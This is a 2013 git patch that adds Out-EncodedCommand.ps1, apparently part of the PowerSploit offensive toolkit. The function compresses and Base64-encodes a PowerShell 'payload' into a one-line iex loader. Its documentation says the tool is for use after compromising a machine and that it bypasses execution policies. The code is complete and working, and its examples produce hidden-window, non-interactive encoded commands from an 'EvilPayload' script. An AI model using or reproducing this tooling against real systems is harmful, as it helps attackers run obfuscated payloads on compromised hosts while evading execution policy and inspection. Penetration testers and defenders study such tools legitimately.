From c45f3361e28d62a58a168de7848a8ba94e76cc33 Mon Sep 17 00:00:00 2001 From: bitform Date: Sun, 20 Jan 2013 10:11:30 -0500 Subject: Created a ScriptModification module. * All scripts used to prepare and/or modify payload scripts were added to the ScriptModification module. * Added Remove-Comments - Strips comments and extra whitespace from a script. * Encrypt-Script was named to Out-EncryptedScript in order to conform to proper PowerShell verbs. --- ScriptModification/Out-EncodedCommand.ps1 | 184 ++++++++++++++++++++++++++++++ 1 file changed, 184 insertions(+) create mode 100644 ScriptModification/Out-EncodedCommand.ps1 (limited to 'ScriptModification/Out-EncodedCommand.ps1') diff --git a/ScriptModification/Out-EncodedCommand.ps1 b/ScriptModification/Out-EncodedCommand.ps1 new file mode 100644 index 0000000..99d3f66 --- /dev/null +++ b/ScriptModification/Out-EncodedCommand.ps1 @@ -0,0 +1,184 @@ +function Out-EncodedCommand +{ +<# +.SYNOPSIS + +Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. + +PowerSploit Module - Out-EncodedCommand +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Out-EncodedCommand prepares a PowerShell script such that it can be pasted into a command prompt. The scenario for using this tool is the following: You compromise a machine, have a shell and want to execute a PowerShell script as a payload. This technique eliminates the need for an interactive PowerShell 'shell' and it bypasses any PowerShell execution policies. + +.PARAMETER ScriptBlock + +Specifies a scriptblock containing your payload. + +.PARAMETER Path + +Specifies the path to your payload. + +.PARAMETER NoExit + +Outputs the option to not exit after running startup commands. + +.PARAMETER NoProfile + +Outputs the option to not load the Windows PowerShell profile. + +.PARAMETER NonInteractive + +Outputs the option to not present an interactive prompt to the user. + +.PARAMETER Wow64 + +Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations. + +.PARAMETER WindowStyle + +Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden. + +.PARAMETER EncodedOutput + +Base-64 encodes the entirety of the output. This is usually unnecessary and effectively doubles the size of the output. This option is only for those who are extra paranoid. + +.EXAMPLE + +C:\PS> Out-EncodedCommand -ScriptBlock {Write-Host 'hello, world!'} + +powershell -C sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('Cy/KLEnV9cgvLlFQz0jNycnXUSjPL8pJUVQHAA=='),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd() + +.EXAMPLE + +C:\PS> Out-EncodedCommand -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden -EncodedOutput + +powershell -NoP -NonI -W Hidden -E cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcATABjAGkAeABDAHMASQB3AEUAQQBEAFEAWAAzAEUASQBWAEkAYwBtAEwAaQA1AEsAawBGAEsARQA2AGwAQgBCAFIAWABDADgAaABLAE8ATgBwAEwAawBRAEwANAAzACsAdgBRAGgAdQBqAHkAZABBADkAMQBqAHEAcwAzAG0AaQA1AFUAWABkADAAdgBUAG4ATQBUAEMAbQBnAEgAeAA0AFIAMAA4AEoAawAyAHgAaQA5AE0ANABDAE8AdwBvADcAQQBmAEwAdQBYAHMANQA0ADEATwBLAFcATQB2ADYAaQBoADkAawBOAHcATABpAHMAUgB1AGEANABWAGEAcQBVAEkAagArAFUATwBSAHUAVQBsAGkAWgBWAGcATwAyADQAbgB6AFYAMQB3ACsAWgA2AGUAbAB5ADYAWgBsADIAdAB2AGcAPQA9ACcAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA= + +Description +----------- +Execute the above payload for the lulz. >D + +.NOTES + +This cmdlet was inspired by the createcmd.ps1 script introduced during Dave Kennedy and Josh Kelley's talk, "PowerShell...OMFG" (https://www.trustedsec.com/files/PowerShell_PoC.zip) + +.LINK + +http://www.exploit-monday.com +#> + + [CmdletBinding( DefaultParameterSetName = 'FilePath')] Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )] + [ValidateNotNullOrEmpty()] + [ScriptBlock] + $ScriptBlock, + + [Parameter(Position = 0, ParameterSetName = 'FilePath' )] + [ValidateNotNullOrEmpty()] + [String] + $Path, + + [Switch] + $NoExit, + + [Switch] + $NoProfile, + + [Switch] + $NonInteractive, + + [Switch] + $Wow64, + + [ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')] + [String] + $WindowStyle, + + [Switch] + $EncodedOutput + ) + + if ($PSBoundParameters['Path']) + { + Get-ChildItem $Path -ErrorAction Stop | Out-Null + $ScriptBytes = [IO.File]::ReadAllBytes((Resolve-Path $Path)) + } + else + { + $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($ScriptBlock) + } + + $CompressedStream = New-Object IO.MemoryStream + $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress) + $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length) + $DeflateStream.Dispose() + $CompressedScriptBytes = $CompressedStream.ToArray() + $CompressedStream.Dispose() + $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes) + + # Generate the code that will decompress and execute the payload. + # This code is intentionally ugly to save space. + $NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()' + + # Base-64 strings passed to -EncodedCommand must be unicode encoded. + $UnicodeEncoder = New-Object System.Text.UnicodeEncoding + $EncodedPayloadScript = [Convert]::ToBase64String($UnicodeEncoder.GetBytes($NewScript)) + + # Build the command line options + # Use the shortest possible command-line arguments to save space. Thanks @obscuresec for the idea. + $CommandlineOptions = New-Object String[](0) + if ($PSBoundParameters['NoExit']) + { $CommandlineOptions += '-NoE' } + if ($PSBoundParameters['NoProfile']) + { $CommandlineOptions += '-NoP' } + if ($PSBoundParameters['NonInteractive']) + { $CommandlineOptions += '-NonI' } + if ($PSBoundParameters['WindowStyle']) + { $CommandlineOptions += "-W $($PSBoundParameters['WindowStyle'])" } + + $CmdMaxLength = 8190 + + # Build up the full command-line string. Default to outputting a fully base-64 encoded command. + # If the fully base-64 encoded output exceeds the cmd.exe character limit, fall back to partial + # base-64 encoding to save space. Thanks @Carlos_Perez for the idea. + if ($PSBoundParameters['Wow64']) + { + $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -C `"$NewScript`"" + + if ($PSBoundParameters['EncodedOutput'] -or $CommandLineOutput.Length -le $CmdMaxLength) + { + $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -E `"$EncodedPayloadScript`"" + } + + if (($CommandLineOutput.Length -gt $CmdMaxLength) -and (-not $PSBoundParameters['EncodedOutput'])) + { + $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -C `"$NewScript`"" + } + } + else + { + $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -C `"$NewScript`"" + + if ($PSBoundParameters['EncodedOutput'] -or $CommandLineOutput.Length -le $CmdMaxLength) + { + $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -E `"$EncodedPayloadScript`"" + } + + if (($CommandLineOutput.Length -gt $CmdMaxLength) -and (-not $PSBoundParameters['EncodedOutput'])) + { + $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -C `"$NewScript`"" + } + } + + if ($CommandLineOutput.Length -gt $CmdMaxLength) + { + Write-Warning 'This command exceeds the cmd.exe maximum allowed length!' + } + + Write-Output $CommandLineOutput +} \ No newline at end of file -- cgit v1.2.3